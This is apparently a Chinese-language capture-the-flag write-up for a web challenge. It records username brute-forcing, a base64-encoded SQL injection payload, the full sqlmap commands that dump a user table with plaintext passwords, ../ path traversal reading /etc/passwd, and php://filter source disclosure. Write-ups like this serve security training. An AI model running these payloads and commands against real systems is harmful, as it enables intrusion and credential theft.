1.背景

http://119.3.191.245:65532/#/allsecPlayGame
image.png
前去做游戏
http://119.3.191.245:8877/Login.php
image.png
图片好评

2.开干

2.1信息收集

扫目录
image.png

http://119.3.191.245:8877/user/.DS_Store
DS_Store泄露文件名
image.png
没法利用

http://119.3.191.245:8877/info.php
image.png
phpinfo页面,备用

2.2账号爆破

先admin/admin尝试登录一下
image.png
image.png
密码错误,说明admin账号存在

尝试爆破了一波密码,不成功
来尝试爆破一下用户名
密码设置为123456
字典:top5000name.txt
image.png
成功爆破出来一个账号密码
zhangwei/123456

2.3zhangwei账号登录利用

此时我就是zhangwei
image.png
登录后有2个可点击链接
长这样
image.png
http://119.3.191.245:8877/user/Article.php?method=list&aid=7
尝试遍历一下aid试试
image.png
其实这里也提示了
image.png
也就前7个有数据
在aid=3的返回包 发现了新的链接
Article.php?id=OQ==&aid=3
大家闭着眼睛也知道id是base64编码的

2.4SQL注入

不多说了,尝试对id参数注入
直接上payload:
http://119.3.191.245:8877/user/Article.php?id=1//and//left(version(),1)=8%23&aid=3,1)=8%23&aid=3)

为啥子等于8呢?
phpinfo有用了
image.png

http://119.3.191.245:8877/user/Article.php?id=MS8qKi9hbmQvKiovbGVmdCh2ZXJzaW9uKCksMSk9OCUyMw==&aid=3
用hackbar对数据进行base64编码
image.png
确认蛇口注入存在

直接上sqlmap了,用上base64encode.py tamper

  1. py -2 sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?id=1*&aid=3" --cookie "PHPSESSID=fa5q2d4g180jp5mn9dme80ug9h" --dbms mysql --tamper "base64encode.py" --level 3 --risk 3 --is-dba --proxy=http://127.0.0.1:8899

记得带上cookie
image.png
dump数据

  1. py -2 sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?id=1*&aid=3" --cookie "PHPSESSID=fa5q2d4g180jp5mn9dme80ug9h" --dbms mysql --tamper "base64encode.py" --level 3 --risk 3 --dump-all --proxy=http://127.0.0.1:8899

数据太多了,很多文章,放弃了

  1. py -2 sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?id=1*&aid=3" --cookie "PHPSESSID=fa5q2d4g180jp5mn9dme80ug9h" --dbms mysql --tamper "base64encode.py" --level 3 --risk 3 --current-db
  2. 查询数据库名
  3. level2
  4. py -2 sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?id=1*&aid=3" --cookie "PHPSESSID=fa5q2d4g180jp5mn9dme80ug9h" --dbms mysql --tamper "base64encode.py" --level 3 --risk 3 --tables -D "level2"
  5. 查询表名
  6. [2 tables]
  7. +---------+
  8. | user |
  9. | article |
  10. +---------+
  11. py -2 sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?id=1*&aid=3" --cookie "PHPSESSID=fa5q2d4g180jp5mn9dme80ug9h" --dbms mysql --tamper "base64encode.py" --level 3 --risk 3 --columns -T "user" -D "level2" --batch
  12. 查字段名
  13. +----------+--------------+
  14. | Column | Type |
  15. +----------+--------------+
  16. | id | int |
  17. | password | varchar(255) |
  18. | isAdmin | int |
  19. | username | varchar(255) |
  20. +----------+--------------+
  21. py -2 sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?id=1*&aid=3" --cookie "PHPSESSID=fa5q2d4g180jp5mn9dme80ug9h" --dbms mysql --tamper "base64encode.py" --level 3 --risk 3 --dump -C "id,username,password" -T "user" -D "level2" --batch
  22. 查账号密码
  23. +------+------------+----------+
  24. | id | password | username |
  25. +------+------------+----------+
  26. | 1 | A2f8jwhe!f | admin |
  27. | 2 | test123 | test |
  28. | 3 | 666666 | wanglin |
  29. | 4 | Aa123456 | suchen |
  30. | 5 | 123456 | zhangwei |
  31. +------+------------+----------+

那就得到admin的密码了
admin/A2f8jwhe!f

—os-shell测试一下
/var/www/html 没有写入权限

2.5admin账号登录利用

此时我是admin
image.png
http://119.3.191.245:8877/user/Read.php?filename=1605259009017.jpg
image.png
发现了这个

尝试文件读取
http://119.3.191.245:8877/user/Read.php?filename=….//….//….//….//etc/passwd
image.png
尝试读/etc/shadow、 /root/.bash_history 没权限
但是文件包含漏洞是存在的

2.6文件包含拿flag

读info.php /user/Article.php试试
http://119.3.191.245:8877/user/Read.php?filename=php://filter/convert.base64-encode/resource=/var/www/html/info.php

http://119.3.191.245:8877/user/Read.php?filename=php://filter/convert.base64-encode/resource=/var/www/html/user/Article.php

image.png
base64解码

  1. <?php
  2. require_once('../model/Article.php');
  3. error_reporting(0);
  4. require_once("../static/header.html");
  5. require_once("Base.php");
  6. $user = isUser();
  7. $article = new Article();
  8. if($_GET['method']=="list"){
  9. $aid = intval($_GET['aid']);
  10. $result = $article->getArticlePage($aid);
  11. $str = "";
  12. while($row = mysqli_fetch_array($result,MYSQLI_ASSOC))
  13. {
  14. if($row['pid']!=-1) {
  15. echo "<br><span style='position:relative;left:20px;'><a href=Article.php?id=" . base64_encode($str) . "&aid=" . $aid . ">" . $row["subtitle"] . "</a></span>";
  16. }else{
  17. echo "<h2>".$row["title"]."</h2>";
  18. echo "<br><span style='position:relative;left:20px;'><a href=Article.php?aid=" . $aid . ">" . $row["subtitle"] . "</a></span>";
  19. }
  20. $str = $row["id"];
  21. }
  22. }else if($_GET['aid']){
  23. $aid = intval($_GET['aid']);
  24. $id = base64_decode($_GET['id']);
  25. if(stristr($id,"union")){
  26. echo "感知到注入迹象,启动第四阻断机制";
  27. exit();
  28. }
  29. $result = $article->getArticle($aid,$id);
  30. while($row = mysqli_fetch_array($result,MYSQLI_ASSOC))
  31. {
  32. echo "<textarea rows=\"30\" cols=\"140\">";
  33. echo $row['text'];
  34. echo "</textarea>";
  35. if($row['pid']!=-1){
  36. echo "<br><a href=Article.php?aid=".$aid."&id=".base64_encode($row['pid']-1).">上一节</a>";
  37. }
  38. echo "<br><a href=Article.php?method=list&aid=".$aid.">返回目录</a>";
  39. if($row2 = mysqli_fetch_array($result,MYSQLI_ASSOC)){
  40. echo "<br><a href=Article.php?aid=".$aid."&id=".base64_encode($row['id']).">下一节</a>";
  41. }else{
  42. echo "<br>已经到底了!";
  43. }
  44. }
  45. }else{//显示所有记录
  46. $array = $article->getArticleList($_SESSION['uid']);
  47. for ($i=0; $i<=sizeof($array[0]); $i++) {
  48. echo "<br><span style='position:relative;left:20px;'><a href='Article.php?method=list&aid=".$array[0][$i]."'>".$array[1][$i]."</a></span>";
  49. }
  50. }
  51. ?>
  52. <html>
  53. <head>
  54. <title>我的小本本</title>
  55. </head>
  56. </html>

发现一个Base.php
尝试读取
http://119.3.191.245:8877/user/Read.php?filename=php://filter/convert.base64-encode/resource=/var/www/html/user/Base.php
image.png
解码

  1. <?php
  2. function isUser()
  3. {
  4. session_start();
  5. //判断用户是否登陆
  6. if ($_SESSION['adminname'] != "") {
  7. return "admin";
  8. }else if($_SESSION['username'] != ""){
  9. return "user";
  10. }else {
  11. header('content-type:text/html;charset=uft-8');
  12. header('location:../Login.php');
  13. exit();
  14. }
  15. }
  16. //关于邀请码:
  17. #include("meifahufujiulaimingdu.php");
  1. //关于邀请码:
  2. #include("meifahufujiulaimingdu.php");

水落石出
http://119.3.191.245:8877/user/Read.php?filename=php://filter/convert.base64-encode/resource=/var/www/html/user/meifahufujiulaimingdu.php
image.png

  1. <?php
  2. #关于邀请码,嗯,一目了然。
  3. require_once("Base.php");
  4. error_reporting(0);
  5. //$user = isUser();
  6. $url = "http://172.17.0.1:3000/code";
  7. $email = "";
  8. function send_post( $url , $post_data ) {
  9. $postdata = http_build_query( $post_data );
  10. $options = array (
  11. 'http' => array (
  12. 'method' => 'POST' ,
  13. 'header' => 'Content-type:application/x-www-form-urlencoded' ,
  14. 'content' => $postdata ,
  15. 'timeout' => 15 * 60
  16. )
  17. );
  18. $context = stream_context_create( $options );
  19. $result = file_get_contents ( $url , false, $context );
  20. return $result ;
  21. }
  22. $post_data = array (
  23. 'e' => $_POST['email']
  24. );
  25. echo send_post( $url , $post_data );
  26. #ps:建团?什么建团? 啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。

http://119.3.191.245:8877/user/meifahufujiulaimingdu.php
image.png
成功获取flag

image.png
我去
分析了一下 我填的国外某邮箱不行
换国内邮箱试试
image.png
over